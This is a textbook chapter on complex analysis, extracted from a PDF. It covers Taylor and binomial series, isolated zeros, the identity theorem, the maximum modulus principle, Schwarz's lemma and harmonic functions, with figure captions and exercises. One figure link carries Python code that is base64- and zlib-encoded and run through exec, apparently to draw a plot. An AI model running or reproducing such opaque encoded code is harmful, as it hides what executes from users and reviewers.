R = ∞ by Corollary 24.2. The trigonometric series follow by substituting ±iz into (24.4) and
using (17.2):

sin z = 1
2i
∑
k

(iz)k − (−iz)k

k! = 1
2i

∑
k odd

2(iz)k

k! =
∞∑
m=0

i2mz2m+1

(2m+ 1)! ,

and i2m = (−1)m. The hyperbolic series are the same computation without the i’s, or via
(17.12). For (24.7), Log(1 + z) is analytic on |z| < 1 (the branch point is at z = −1) with
derivative 1

1+z =
∑
k≥0(−1)kzk by Theorem 16.9 and (23.10); integrating term by term from 0

(Theorem 23.11) and using Log 1 = 0 gives the result, and R = 1 by Corollary 24.2.
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u=Re f (teal) and RePN (orange) v= Im f (teal) and ImPN (orange)

f(z) = Log(1 + z) and its Taylor polynomials PN about z0 = 0 (Theorem 24.1)
Log(1 + z), R= 1 (eq. (24.7)): convergence inside jzj= 1 (red, on the floor); the corners of the square lie outside

maxjf¡ P10j on the square: 1:5e+ 00,   on jzj∙ 0:8: 2:3e¡ 02
added a10z 10

N= 10
Figure 24.2 (animated). Taylor’s theorem 24.1 for real-valued functions: the real part u = Re f
(left) and the imaginary part v = Im f (right) of f = ez, sin z and Log(1 + z) over a square about 0
(teal), with RePN and ImPN for the Taylor polynomials PN of Proposition 24.4 (orange mesh). Each
polynomial blends into the next, the term being added is shown, and at a few degrees the camera
turns once round and zooms in on the point where |f − PN | is largest (red: the gap). For ez and sin z
(R = ∞) the meshes settle onto the surfaces on the whole square. For Log(1 + z) (R = 1, (24.7))
they settle inside the circle |z| = 1 (red, on the floor) but not at the corners of the square, which lie
outside it; heights there are cut off at the box.

Re (f¡ PN) = u¡RePN Im (f¡ PN) = v¡ ImPN

The error f¡ PN for f(z) = Log(1 + z), PN its Taylor polynomials about z0 = 0
Log(1 + z), R= 1 (eq. (24.7)): convergence inside jzj= 1 (red, on the floor); the corners of the square lie outside

maxjf¡ P10j on the square: 1:5e+ 00,   on jzj∙ 0:8: 2:3e¡ 02   (heights cut off at §1)
added a10z 10

N= 10
Figure 24.3 (animated). The same three functions, showing the errors Re(f − PN ) and Im(f − PN )
on a fixed vertical scale (cut off at ±1). For ez and sin z the error surfaces flatten onto 0 over the
whole square. For Log(1 + z) they flatten inside |z| = 1, slowly near the singular point −1, and grow
spikes at the four corners, outside the disc of convergence.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=taylorS1_overlay&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqNWm1z2kgS%2Fs6v6FVw3SiRFcAvSXDYKm92c8lt1vE53tqrIoQSaASKhaSVhDHY%2Fu%2F3dI8Ewsa5cyUgjWame%2Fr16RYNXweURt5SBeHEoSDzZrr8yh0K40Jn117k0GiU3PTOkljb3QbhL5ylSVZQmOCRl%2BvjQ4dmXpFGSRGFIzdd8hV5ObYuZH6QJTP6eL4spkns%2BmHOJKtNPlz%2B8cmhclBmY5U7jpJcM1e2DJWPFU9WlmW9DWcTCv2elQZDXFqUF8tI96zxPMuTrJsmwrtFRVjIcBSOr6hIKPXmubZ%2BbrzNx1mYFj83rr2M0oB6tAhjP1m4cn0bdKk%2FcOiqSy2HsnncpSKb63uIBGR75Cfj%2BUzHhTvRxW%2BR5stflh99VXFjnzTw5SaxodujYB6PizCJSdl0C3ou9sTwT%2BbqhO5PGrkuPpbyVlvTcf4wIFXOpbs7Xn9FP%2Ff4O3AjHU%2BKqU2ZLuZZfMKzQTrPxmQm9Hn24MQs6pGS7xfUtmlvj%2Fb8kwZOteeD47cvS5lAvLRH6qEV2LZRRaC1zzLY1oi9VuEQarmEtMrZSUZX2IMyL57octPSioxlYEBd2euB0Zw1ECbuL8tC5x8%2Fq80jWIObe9ca3wrTHN4cZgcjiCeWMdJhGI%2BnOu%2Fx9WYhnmNPY6nu6PhQx%2BPE17wHaxBnm2tl266vZbhGEEd156nvFdqc8x%2BV3Yjo03k%2BVRaeet1w5k30S9A5Kf1hL7fstUT%2FAXniGQT4jPbxRzr2KQnoX%2FMUh8w%2BhYUWL9SZPG5AA5feMoLo0iRaxsks9KKchXiw%2Fyupy6lOMj2jzqHbhtivdZazrbRhpFNNCe6xldv4pINCRvJ5FnhjTXPI4EIT5JaFk2lB17j%2FOON7XkMe5X%2FPvUyTN0rmBa1aeNwiVWgOAAXUl0fzMSzddgkc0CMGG%2BfDMz6UryeZ1nTGyx1qO9RxyHVdCnPyM28Rc1zwYkrEIAjWMO0yW7I6FoYjcO4wa7UxYdml0xwbT7JkkTd4lFfrnOA7cHNMhYfXTpwzp8xL5U8iQ3aTLulvK3DhU46RFSmcK8wQ%2Bi7Y9uIgjMNiCdliRuNTMlHtFyubFD%2FEefTfLikI%2F5VtV9yVkru7uXPobnlHb3F2941DiymiGI2TLIaSKArB47zIQ1%2FLqnGYjcH23eqON%2B7yiTLzpDyXn1CMQGqO5zbOl%2B%2FDCXaLr5ndJDYKNzYGsYNrrIFzyMEqx3J4UkxjL4pyE%2BqhDNtlG4M1fpmCbx9hEYEYuuP92MaMcvc3ysWWMHEjQzXzrvSwkClfEOyxOoerUlhwrEhIe%2BNpyRXoPFvbnbBVGR1bQaWmH9ifqEDY2uEQbB7b3uA2yqQSz2dgDDTitBraJKhGLVchHSjrdIKY%2FXjeg0TW4LyUjc89SDavwsKthfnTQt8UbgD7g6qsLlnjGeKRxQNu4M3CaMmDuc7CYD2ehyuN0Xbn3m68e%2FcZKfAcnziz9awdHAevXvPMZ%2BM3x16rZTV%2Bx4M4dT0TRTttt2U33p%2B%2BM6NIRmmW%2BAqX2bAPC%2F293%2B4OBhxtYpPQnUp840QHQTgOYUAwlW%2BwD9WyX179ROo8S1KXpXgIk5l6UbC%2FCP1iSqeVXRjtIHh4fjjP6UIiTxHCsExsb7z%2F8%2BwLGOqrzNLfblf3OAA40jcpogC9JLCLC%2FdIRuFjDqn9Q%2FfYIXzYtrMOulj%2BVbzSrMelfC%2FYOdTviKQd6okfqn0WAz1%2FTgrj%2B5zSXr6kDtjH6G56Hb7Fx0N6rMNsdgtXvxdfB%2BnIm418j1ZdXh5xDEDWXNmyG6TcqtP%2Fvd%2FttAagaQTvGOfH0zXNNp9x0Lg0CovCOE9h%2BdjBRMgju%2FFPPLrsM8ZyqDvgDP2dnmOk6xAPDujx3zMspBv%2B4HhR6WmO2FW5ksqhHvj3aEmnduPy%2FW7yx22Q52eX7x8z8P5JDp4RR5wM4Tj0Jc8zdZ1luIL7jRDxGu8%2BXpQ2CjNQsmGdPuTTMUNpCE46bWTIRoMx6bkag6oDgRuosCsjbiUbEzRagHGw2S0rH5P6IAHY5pDHm2WS2Z4j7r%2Bg1vc1TPE4O4z7Z93ufnuwQSg8Oytne2a9QC3KwKux%2BCjMC2VcE0nBob5JfAcOQfWvYA%2B1Ce0DGEIpP8M9AuE0QV5UMPUuecMrYY850gj0BGx0%2BfnPC%2BNayKXHIKCw9Sv%2B5nuWnL3LPio1eYIDkIgqepJ8EBkyT7JhLkF2lSQzTpCNPz5fnH9w6MuHzxeXCBygjWR8dnnxGRy8EXqHIPu6oYF0MFQ6yjWwsnsEN%2BRP0ek4yZWoFrfXlWJzwDNfbbRqACGtIa9jaoVSr57DoL28GTkEOCoIHhqeMyyl7%2ByFSLMh8ugsydJpCJhVTSqhcaV2NhDIcLBWeACjM5hAw2AhDcTzsy81cMorXrDYeWZL%2FolTfy8FYss23zfw1owONgCSzQrIlGeswlTFOVPkIFGjwn8c%2BFnSDPVltqi8H4QD0hGOIsrYWrHFG9MAMIFC1HeEISUqlJAIYbCXtx6xKlNqrD7acyT%2FqvN%2BerTBp3Jx6Q1YCxV%2Feffht19xllLNpdIXSQb7503h0mmRb9TPlijFGjsznpCEeboLwDzS%2Bx2jxsjLJjovKjXqMhWOcsUZh2XUbw8Ub8uLNoOdwZqeXecUA24QeUVfEupk5t0ojbMYVv9dk2e%2BFX%2BY1WkyS4oEyEK190HufOghKDAQGVXccdlV46BOFxlkn7DquYluHu8uy8uBEQ9UboIl6YGvvBvORKOSC%2B%2FGxYOhdxPmwyQIlH1SDSH%2Ffx8WyxRgJkXgTS0ujhD7h8YHei33wMigyJYbyysXc93k5akeF0qZjNByXx3Bcjgk9NrAVUbwN2MNoHkJKr9xlO%2FSD%2F%2BeURL5cNEa7vr%2F6NrVWRlVdX5VLU6gyKivRBRlLcKlX4%2Fn8M3pDReqUw%2BFvpa6n0%2BP2A%2BI1UO8hUx%2Fu2DwfntfihdZijc3Jln1NFBkm3sB3bBzLNrIao2koKlTh%2BHPsKbq9bQVBk%2Bh0X%2B%2BP6lbaqBWxjqrtLYpMnPOL1YTGOTmLtg%2FH97u%2Bfd3ze3KokvNPbetm1KYY7122Wprm4D5C3pbIp3t0JKzS7NIiPdsotr4Gum%2FW%2B7rZn1X3S85BZ9SvbweGBrrvSCNvshnwP5dN%2BzNE4g3Cq%2B1CbNG1KhwvKwK%2BCZQ85QNj3znpkmqbBc4HqUAhw2uYnrSCMLVPJNOkKhTtdvuIfKq%2Bwanl%2B4Ot1fCiRjL2lQO8GVZT5sEEGAjn492LH39%2BocrkfjGCWBIz4JHoWZA3tixSevgx5uAc53tXPjqx4wLljQMcLVgN0bh5Gx7n1anzsF6aQdET%2F%2FDiuG5nu8jiuhc9fcxVxxPPo6MDx4jcnJE0ZKSe9aBz%2F2d7YUlx%2F9r2aAxnmemS4gk8vEPruoEZGIut9jWLhlESZJJvDPetYq2Q29VHMa%2BU6I1qdJ1WY84jytqbGIaDqUrCYUKJSP2VCGbeQM%2BLXTM8dblYKVODYTxsgwFc7%2FEyW2TS4EOIY3HM%2BqzeMYq6rcGNXs55qpigVD8unTcJ5x2Fz8XoMZgGi7C7Zj1LfedHlJCQW8otbm6ivKetb9vrZE1Y02Jc1x9S6MOqShKYXAt9%2FCI96o3eiGj8VQaNcBh67ZkEHbhtrOwgNiNVBlAKpyHN7W3ejA0R6FYidr4Px%2FwwXEf%2BP%2FugLuKWrWQe7KJtSe0YCdA7MJghEt8gCnM34B7GNZfFQw7%2FQ%2Bg86KU5UKEaNcAGZtp37sZCOLeB%2B1ThtrVxSoC6R3WWo%2FFfPjtKCyn9NK0ptRhKSK1KjlZler8q1Kl6QsY7cinMSDobur52nRZDV04GUxAIgGjsD9%2FYd6RVaQQbzKKqjpczYveV5hbsWyamj%2FJQ9GpVP6mo1TvsYDlLOGGTjNY56TFNIkqh7TWhTTnMKnbnyB3guXRkhLfB4EF98OSMdgm1fSGt53Zfa%2FVhHTzhJpnTe6559RsOW3nwDlyvvpJkTe3ST0s2ZtCq41T1fpzXdMtA36Mxxral9Ybp0CZCEdxtoIDzMfa0JCAUrbutnog9Uaetc5zUk%2BpKwSiycZ58iKMIvLnGeoShCwpUU7YDD2KEgyZQsWUkyhp%2FHUlxnOYtQkpFGmMgAtSMLeloEZgPCyNdbQubrZQK%2BN1GICA8f6VASfchZPa4JNplcBKP3EjRaoOqTGQCYyTGtgCXa7Lt7m0OTpb3lTUvWl95mqGihJksZA1WsCcq7mVa8GfShB4g0DiVIhwWb9Z4Ybblw9KJUyY8ouMttSax%2BBuwZgaBAGmQRFn7HBhbx7hP%2BKHmoaYHSXm4UuSZg5wgizeRkuFmmHq1KEZb2fXMet1qBdDTjpKR%2Fq61wEO8VbhrLd%2F3MLcg2PuKag5VpfSW%2Fc2jARBdj1i27aByDF3p2EibAKmgvNLg5p4qVpBmUaQ2wmRe7a5nsykwYHyfpWbshkyQJzGYbmmZa8VI6mUAWuepZG%2B6RLHG9P0Nb12jjth7GVLMyjN9o1plQqfbIVPboNJ1OL09SCACqR7kMH6q1wWDCACQBS%2B5WXlLbcLImzdn4BXKH0Cjdmwkuc49ePEdsClSYbiotdubdd2fVWSwYy8DKdwba9QFQUlFKAvISEGYcjYpsKVUz4%2BXeXmqEDgLOqRuzE9jsw4dQbsZm2Dl7KDodI5HE2KXI4AsV6IASBcZqwt7ZtuPQk6HGmJGb7PUWrTWlMSRcGjhI7c%2FlHhCR%2F%2FDoDRqiVb4EVxLkGLiKNnvT3%2Fa5Hs%2Baa24DPZCIPreSJ6BfRyZNWHK1ypGFeuS6T5bHvNMa%2BpRoVivfDyWAsir7K%2BjLZgwS5OhcnRY%2F6kdV6e9shEM%2BtqN8MHrQcTO4dPnuDqh%2FyPHvBfj6ibc7Au6%2BfwSF5tZ%2FDV5KpsdzTrhd%2Bm44H6bNXbczvB3gt8hCZjmRSN4GCLwkZi6FsWb1fiBEMeMzR6mpvm%2BbDVC1TLBp3DiYh3zEBC2lA97kOKjMA22yFxqgaXq2%2F82awYGNm7FPjo4L7PBr29BVel5Ujva5B549vg263a8%2B178HSP4Z%2FuN5ypUdWVMv%2FG%2FdFgO3pv%2Fl5wX5%2B7%2B9XuQBdmj3X64yuPfqZ2aTBWeQwUhhu%2BAaXYoxg9V3EQIWArEkKK816FRy70%2FVcHUEnem9qSzptbz86HgDfKvP20N5Dm0R92vV7v%2BnH29K7ybHvXKhY%2F7CJVpVb5arD7%2FyEHiCoI6adeCTI3Gi5LiRKBmjr%2FSej%2BFHJPcfmo6fYD2F4F5ieyzgOIvQAINcd9CLKrfPDXdpI5F8gtZdobh7K8yADyelz2V5ellay4b7NpbErzbheoMu8XNuiwSuuoVnJQXXf%2Bciktdm3RV6b13LIlWZZ9PG59bHkylz%2B9vbwp1oHSbNcb06bYiXlX0lzB9VvNB29Q2UdYfYbKj7IdrAm8WvxK2WINTaJkBBrK7pbtPxQO16Fv3j5xzDKvr6EF7gqCsXK4%2FiOIKIyvyp8A7fxNUi%2FSsRLjtDc%2FTOkdHdkNiT1PdiKxHTg0vz%2Bqapwcq9c%2FN6pe6%2Fat1A%2FkTS43Uy2uqA5L2CtWdHTwujTO2m9RhsMAZe1w6GZ5GgEdWi8BU9p2f789gNGBNmo8y02X%2FEZ3aAi7IMPx5r%2FvOMHv%27%29%29.decode%28%29%0Aexec%28src%29
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u=Re f and slices of RePN v= Im f and slices of ImPN

f(z) = Log(1 + z): on each line z= te iµ the slice of PN is the real Taylor polynomial of the slice of f
Log(1 + z), R= 1 (eq. (24.7)): convergence inside jzj= 1 (red, on the floor); the corners of the square lie outside

maxjf¡ P10j on the square: 1:5e+ 00,   on jzj∙ 0:8: 2:3e¡ 02
added a10z 10

N= 10

Figure 24.4 (animated). The surfaces of Figure 24.2 cut along four lines z = teiθ through 0. On each
line the slice of RePN (or ImPN ) is the real Taylor polynomial of degree N of the slice of u (or v),
since RePN (teiθ) =

∑
k≤N

Re(ake
ikθ) tk: on every line the real Taylor polynomials converge, and for

Log(1 + z) they fail where the line leaves the disc |z| < 1.

Example 24.5 (Proof of the binomial series). We can now prove Theorem 18.8. Let α ∈ C and
f(z) := (1 + z)αpr = eαLog(1+z), analytic on |z| < 1. By (18.3) applied to 1 + z,

f ′(z) = αf(z)
1 + z

, hence f (k)(z) = α(α− 1) · · · (α− k + 1)(1 + z)α−k
pr

by induction. Setting z = 0 gives f (k)(0) = α(α − 1) · · · (α − k + 1) = k!
(α
k

)
, and Theorem 24.1

yields (18.10). The radius is 1 unless α ∈ {0, 1, 2, . . . }. Indeed, for any other α,
(α
k

)
̸= 0 for all k

and
∣∣( α
k+1
)/(α

k

)∣∣ = |α− k| /(k + 1) → 1, so Theorem 23.10 gives radius 1. If α ∈ {0, 1, 2, . . . }, all
coefficients beyond the α-th vanish and the (finite) series is valid everywhere. □

Example 24.6 (Series by manipulation, not differentiation). Expand f(z) = 1
z2 − 3z + 2 about

z0 = 0. Partial fractions: 1
(z−1)(z−2) = 1

z−2 − 1
z−1 = 1

1−z − 1
2 · 1

1−z/2 . By (23.10),

f(z) =
∞∑
k=0

zk − 1
2

∞∑
k=0

zk

2k =
∞∑
k=0

(
1 − 1

2k+1

)
zk,

valid for |z| < 1 — the distance to the nearest singularity 1, confirming Corollary 24.2. Computing
f (k)(0) directly would be miserable.

24.3 The identity theorem
Theorem 24.7 (Zeros of an analytic function are isolated). Let f be analytic on a region D, not
identically zero, and suppose f(z0) = 0 for some z0 ∈ D. Then there exist a unique integer m ≥ 1
and a function g analytic on a neighbourhood of z0 with

f(z) = (z − z0)mg(z), g(z0) ̸= 0. (24.8)
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Consequently z0 is an isolated zero: there is ε > 0 with f(z) ̸= 0 for 0 < |z − z0| < ε. The integer
m is called the order (or multiplicity) of the zero, written m = ordz0 f .
Proof. By Theorem 24.1, f(z) =

∑
k≥0 ak(z − z0)k on some D(z0, R) with ak = f (k)(z0)/k!.

Not all ak vanish. Let A := {z ∈ D : f (k)(z) = 0 for all k ≥ 0}. A is closed in D, being an
intersection of zero sets of continuous functions (Corollary 21.5), and open, since if z1 ∈ A all
Taylor coefficients of f at z1 vanish, so f ≡ 0 on a disc about z1 by Theorem 24.1 and that disc
lies in A. As D is connected, A = ∅ or A = D; and A ̸= D because f ̸≡ 0. So z0 /∈ A, i.e. some
ak ̸= 0.

Factorisation. Let m be the least index with am ̸= 0; since a0 = f(z0) = 0 we have m ≥ 1.
Then

f(z) = (z − z0)m
∞∑
j=0

am+j(z − z0)j

︸ ︷︷ ︸
=:g(z)

,

the series for g having the same radius of convergence and hence defining an analytic function
with g(z0) = am ̸= 0. By continuity there is ε > 0 with g ̸= 0 on D(z0, ε), and then f(z) =
(z − z0)mg(z) ̸= 0 for 0 < |z − z0| < ε. Uniqueness of m is clear from (23.9).

Theorem 24.8 (Identity theorem). Let f and h be analytic on a region D and suppose the set
{z ∈ D : f(z) = h(z)} has an accumulation point in D. Then f ≡ h on D.
Proof. Put F := f − h, analytic on D, and let z0 ∈ D be an accumulation point of the zero set
Z := {F = 0}; note F (z0) = 0 by continuity. Let

A := { z ∈ D : F (k)(z) = 0 for all k ≥ 0 }.

As in the proof of Theorem 24.7, A is open and closed in D.
A is nonempty: we claim z0 ∈ A. If not, some Taylor coefficient of F at z0 is nonzero, and

the factorisation step of the proof of Theorem 24.7 (which uses only the Taylor expansion at z0)
lets us write F (z) = (z − z0)mg(z) with g(z0) ̸= 0 and g continuous, so F would be nonzero on a
punctured disc about z0 — contradicting that z0 is an accumulation point of Z.

So A is a nonempty subset of the connected set D that is both open and closed in D; therefore
A = D and F ≡ 0.

Remark 24.9 (What the identity theorem buys). Three uses recur.
(a) Extension of identities from R to C. Since sin2 x+cos2 x = 1 on R, and both sides are entire,

they agree on C: the real line has accumulation points. This is the legitimate version of “the
same algebra works”.

(b) Milne’s method. Proposition 15.9 substituted y = 0, x → z; the identity theorem is exactly
what licenses that substitution.

(c) Rigidity. An analytic function on a region is determined by its values on any sequence of
distinct points converging to a point of the region — for example by its values at 1/n, n ∈ N,
if 0 is in the region. The limit must lie in the region: sin(π/z) is analytic on C \ {0} and
vanishes at every 1/n without being ≡ 0. Nothing like this holds for C∞ real functions.

Example 24.10. There is no function f analytic on a neighbourhood of 0 with f(1/n) = (−1)n/n
for all n ≥ 2. Indeed such an f would satisfy f(1/(2n)) = 1/(2n), so f(z) = z on a sequence
accumulating at 0, whence f(z) ≡ z by Theorem 24.8; but then f(1/(2n + 1)) = 1/(2n + 1) ̸=
−1/(2n+ 1).
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24.4 The maximum modulus principle
Theorem 24.11 (Maximum modulus principle). Let D be a region and f analytic on D. If |f |
attains a local maximum at some z0 ∈ D — that is, if there is ε > 0 with |f(z)| ≤ |f(z0)| for all
z ∈ D(z0, ε) ⊆ D — then f is constant on D.

Proof. Step 1: f is constant near z0. For 0 < ρ < ε the mean value property (Remark 21.2) gives

f(z0) = 1
2π

∫ 2π

0
f
(
z0 + ρeiθ

)
dθ,

whence by Lemma 19.3

|f(z0)| ≤ 1
2π

∫ 2π

0

∣∣f(z0 + ρeiθ)
∣∣ dθ ≤ 1

2π

∫ 2π

0
|f(z0)| dθ = |f(z0)| , (24.9)

the second inequality by the local maximum hypothesis. So both inequalities are equalities.
Equality in the second forces ∫ 2π

0

(
|f(z0)| −

∣∣f(z0 + ρeiθ)
∣∣) dθ = 0

with a continuous, non-negative integrand, hence
∣∣∣f(z0 + ρeiθ)

∣∣∣ = |f(z0)| for all θ and all ρ < ε.
Thus |f | is constant on D(z0, ε), and Theorem 14.13(ii) makes f constant there.

Step 2: f is constant on D. Let c := f(z0) and letA := {z ∈ D : f ≡ c on a neighbourhood of z}.
A is open by definition and nonempty by Step 1. It is also closed in D: if z1 ∈ D is a limit of
points of A, then all derivatives f (n)(z1) vanish for n ≥ 1 (they vanish on A and are continuous
by Corollary 21.5), and f(z1) = c; the identity theorem (Theorem 24.8) then gives f ≡ c near z1,
so z1 ∈ A. Since D is connected and A is nonempty, open and closed in D, we get A = D.

Corollary 24.12 (Maximum on the boundary). Let D be a bounded region and let f be continuous
on D and analytic on D. Then |f | attains its maximum over D on the boundary ∂D. If f is
nonconstant, the maximum is attained only on ∂D. If moreover f has no zero in D, the same
holds for the minimum of |f |.

Proof. D is compact, so by Theorem 12.13 |f | attains a maximum at some z∗ ∈ D. If z∗ ∈ D then
Theorem 24.11 makes f constant on D, hence on D by continuity, and the maximum is attained
on ∂D as well. If f is nonconstant, no interior point can be a maximum, so z∗ ∈ ∂D. For the
minimum: if f vanishes at a point of ∂D, the minimum of |f | over D is 0 and is attained there,
and (as f has no zero in D) only on ∂D. Otherwise f has no zero on D, and we apply the result
to 1/f , which is analytic on D and continuous on D.

Example 24.13 (Estimating without computing). Let f(z) = z2 + 3z on D(0, 1). By Corol-
lary 24.12, max|z|≤1 |f | occurs on |z| = 1, where |f | = |z| |z + 3| = |z + 3| ≤ |z| + 3 = 4, with
equality at z = 1. So the maximum is 4, attained only at z = 1 — established without differenti-
ating anything.
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no peak here

max |f |

∂D

Figure 24.5. The maximum modulus principle, Corollary 24.12. Think of |f | as the height of a
surface over the region. For a nonconstant analytic f that surface has no interior peak: it can only
reach its highest point on the boundary. The mean value inequality (24.9) is why — a value at the
centre that exceeded every value on a surrounding circle could not also be their average.

Theorem 24.14 (Schwarz’s lemma). Let f be analytic on the open unit disc D with f(0) = 0
and |f(z)| ≤ 1 for all z ∈ D. Then

|f(z)| ≤ |z| for all z ∈ D, and
∣∣f ′(0)

∣∣ ≤ 1. (24.10)

If equality holds in either place — |f(z1)| = |z1| for some z1 ̸= 0, or |f ′(0)| = 1 — then f(z) = λz
for some constant λ with |λ| = 1.

Proof. Define g : D → C by g(z) := f(z)/z for z ̸= 0 and g(0) := f ′(0). Then g is analytic on D.
Indeed, by Theorem 24.1 f is the sum of its Taylor series

∑
n≥0 anz

n on D, and a0 = f(0) = 0;
hence f(z) = z

∑
n≥1 anz

n−1, the series on the right converging on all of D. That series is g, and
g(0) = a1 = f ′(0).

Fix r with 0 < r < 1. On |z| = r we have |g(z)| = |f(z)| /r ≤ 1/r, so by Corollary 24.12
|g| ≤ 1/r on D(0, r). Fix z ∈ D and let r ↑ 1 through values > |z|: we obtain |g(z)| ≤ 1, i.e.
|f(z)| ≤ |z|, and at z = 0, |f ′(0)| = |g(0)| ≤ 1.

If equality holds at some point of D, then |g| attains the value 1, its maximum, at an interior
point; by Theorem 24.11 g is constant, say g ≡ λ with |λ| = 1, and f(z) = λz.

Schwarz’s lemma is the engine of Chapter 34: it pins down all the analytic bijections of the
disc.

24.5 Underneath: the maximum principle for harmonic functions
The heart of the proof of Theorem 24.11 was the mean value property of f . That property is
really about real-valued functions, and so is the maximum principle. Think of a real function u as
the height of a landscape. A mountain top at z0 is a point higher than everything around it, so
on every small circle about z0 the height is at most u(z0); a harmonic function, however, equals
its average on every circle whose closed disc lies in its region. So a harmonic function cannot have
a mountain top.

Theorem 24.15 (Maximum principle for harmonic functions). Let D be a region and u : D → R
harmonic. If u attains a local maximum at some z0 ∈ D, then u is constant on D. Consequently,
if D is bounded and u is continuous on D and harmonic on D, then the maximum and the
minimum of u over D are attained on ∂D.
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Proof. Step 1: the mean value property. Let D(z0, ρ
′) ⊆ D. By Theorem 15.6, u has a harmonic

conjugate v on this disc, so u = Re f with f = u + iv analytic there. For 0 < ρ < ρ′, the mean
value form of Cauchy’s integral formula (Remark 21.2) gives f(z0) = 1

2π
∫ 2π

0 f(z0 +ρeiθ) dθ; taking
real parts,

u(z0) = 1
2π

∫ 2π

0
u
(
z0 + ρeiθ

)
dθ. (24.11)

Step 2: no mountain top. Suppose u(z) ≤ u(z0) for z ∈ D(z0, ε) ⊆ D. For 0 < ρ < ε, (24.11)
says ∫ 2π

0

(
u(z0) − u

(
z0 + ρeiθ

))
dθ = 0,

and the integrand is continuous and non-negative, so it vanishes: u = u(z0) on every circle about
z0 of radius less than ε. Thus u is constant on D(z0, ε). (A genuine mountain top, higher than
the points around it, would make this integral strictly positive: the average over every small circle
would be below the peak. Figures 24.6–24.8 show this.)

Step 3: from near z0 to all of D. LetM = u(z0) andA = {z ∈ D : u ≡ M on a neighbourhood of z}.
A is open, and nonempty by Step 2. It is closed in D: let z1 ∈ D be a limit of points of A and
D(z1, δ) ⊆ D. On this disc u = Re g with g analytic (Theorem 15.6 again). The disc contains
a point of A, hence a smaller open disc on which Re g ≡ M . There g takes values in the line
Rew = M , so g is constant there (Theorem 14.13(iii)), and by the identity theorem 24.8 g is
constant on D(z1, δ). So u ≡ M near z1, i.e. z1 ∈ A. Since D is connected, A = D.

For the consequence, D is compact, so u attains its maximum at some z∗ ∈ D (Theorem 12.13).
If z∗ ∈ D, then u is constant on D, hence on D by continuity, and the maximum is attained on
∂D too. For the minimum apply this to the harmonic function −u.

Theorem 24.15 is Exercise 15.8, and Step 1 is Exercise 21.4.
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The average height round the circle is below the peak

every point of the circle is lower than the peak u(p), so their average is lower too

u= e¡x
2=0:6¡ y 2=0:3: made up, NOT harmonic (r2u(0) =¡10)

u(p) = 1:000  (red: the peak)

average over the circle = 0:21651  (dashed)

u(p)¡ average=+0:78349;   r= 0:800

Figure 24.6 (animated). A mountain top has no mean value property. The surface is the height u =
e−x2/0.6−y2/0.3, with its peak u(p) = 1 at p = 0; it is made up and is not harmonic (∇2u(0) = −10).
A circle of radius r about p is drawn on the surface, with its shadow below. On the right the height
u(p + reiθ) is graphed as θ runs from 0 to 2π, together with the running average 1

θ

∫ θ

0 u(p + reit) dt
(dashed) and the peak height (red). Every point of the circle lies below the peak, so the average does
too: 0.2165 for r = 0.8, 0.7381 for r = 0.35, and still 0.9960 < 1 for r = 0.04. A harmonic function
would equal its average, (24.11).

0 ¼=2 ¼ 3¼=2 2¼

µ

0.0

0.5

1.0

0 ¼=2 ¼ 3¼=2 2¼

µ

0.5

1.0

1.5

For every radius: the mountain's average is below, the harmonic one is equal

the harmonic saddle rises and falls round the circle by exactly equal amounts
made-up mountain, NOT harmonic harmonic: u=Re(1 + 0:8z 2)

average 0:34097,  peak u(0) = 1:000;  r= 0:67 average 1:00000,  centre u(0) = 1:000;  r= 0:67

Figure 24.7 (animated). The mountain of Figure 24.6 beside the harmonic saddle u = 1 + 0.8(x2 −
y2) = Re(1 + 0.8z2); both have height 1 at the centre. The same average is computed round circles of
every radius. The mountain’s average is always below its peak. The saddle rises and falls round each
circle by exactly equal amounts, and its average is 1, the centre value, for every radius, as (24.11)
says. So a harmonic function has no room for a peak.
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Figure 24.8 (animated). However small the circle, the average stays below the peak. Circles about
the mountain top shrink from r = 1 to r = 0.01; on the right the gap u(p) − 1

2π

∫ 2π

0 u(p + reiθ) dθ
is plotted on logarithmic scales. It shrinks like 2.5 r2 but stays positive (for this u the gap is about
− 1

4 ∇2u(p) r2, a fact not needed here). For the harmonic saddle the computed gap is 0 for every r.
This is Step 2 of the proof of Theorem 24.15: at an interior maximum of a harmonic u the gap must
be 0, which forces u to be constant on the small circles.

Remark 24.16 (This is what lies underneath the maximum modulus principle). Theorem 24.11
follows from Theorem 24.15. Let f be analytic on the region D, and suppose |f | has a local
maximum at z0.

• If f(z0) = 0, then |f | ≡ 0 near z0, so f ≡ 0 near z0, and on D by the identity theorem 24.8.

• Otherwise write f(z0) = |f(z0)| eiα and turn f so that its value at z0 is positive: put
g = e−iαf and u = Re g. Then u is harmonic (Theorem 15.2), and near z0

u(z) ≤ |g(z)| = |f(z)| ≤ |f(z0)| = g(z0) = u(z0).

So the real-valued harmonic function u has a local maximum at z0. By Theorem 24.15, u is
constant on D. Then g(D) lies in a vertical line, so g is constant (Theorem 14.13(iii)), and
so is f = eiαg.

The same turn explains the first inequality in (24.9): |f(z0)| = u(z0) = 1
2π
∫ 2π

0 u dθ ≤ 1
2π
∫ 2π

0 |f | dθ.
So the landscape |f | has no peak because the harmonic landscape u = Re(e−iαf), which lies

below it and touches it at z0, has none. The complex principle is the scalar principle for harmonic
functions, applied to the real part of a suitably turned f .

24.6 Exercises
Exercise 24.1. Find the Maclaurin series and its radius of convergence:

z

1 + z2 , ez
2
, sin(2z), 1

(1 − z)3 , Log(1 − z).
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Exercise 24.2. Expand f(z) = 1
z

in powers of z − 1; in powers of z + 2. Give the radius of
convergence in each case and check against Corollary 24.2.

Exercise 24.3. Determine the order of the zero of each function at the stated point: z2 sin z at
0; 1 − cos z at 0; (ez − 1)3 at 0; z4 + 2z2 + 1 at i.

Exercise 24.4. Without computing many derivatives, find the first four nonzero terms of the
Maclaurin series of tan z. (Divide the series for sin by that for cos.)

Exercise 24.5. (⋆) Let f be entire with f(z) = f(z+ 1) = f(z+ i) for all z. Prove f is constant.
(Doubly periodic ⇒ determined by a compact fundamental square ⇒ bounded ⇒ Liouville.)

Exercise 24.6. Suppose f is analytic on D(0, 1) and f(1/n) = 0 for all n ≥ 2. Prove f ≡ 0.
Why does the hypothesis f(n) = 0 for all n ∈ N not force an entire f to vanish?

Exercise 24.7. Give the radius of convergence of the Taylor series about the stated centre,
without computing any coefficients, by locating the nearest singularity:

1
z2 + 4 about 0; ez

z − 3 about 1; Log z about 2; tan z about 0.

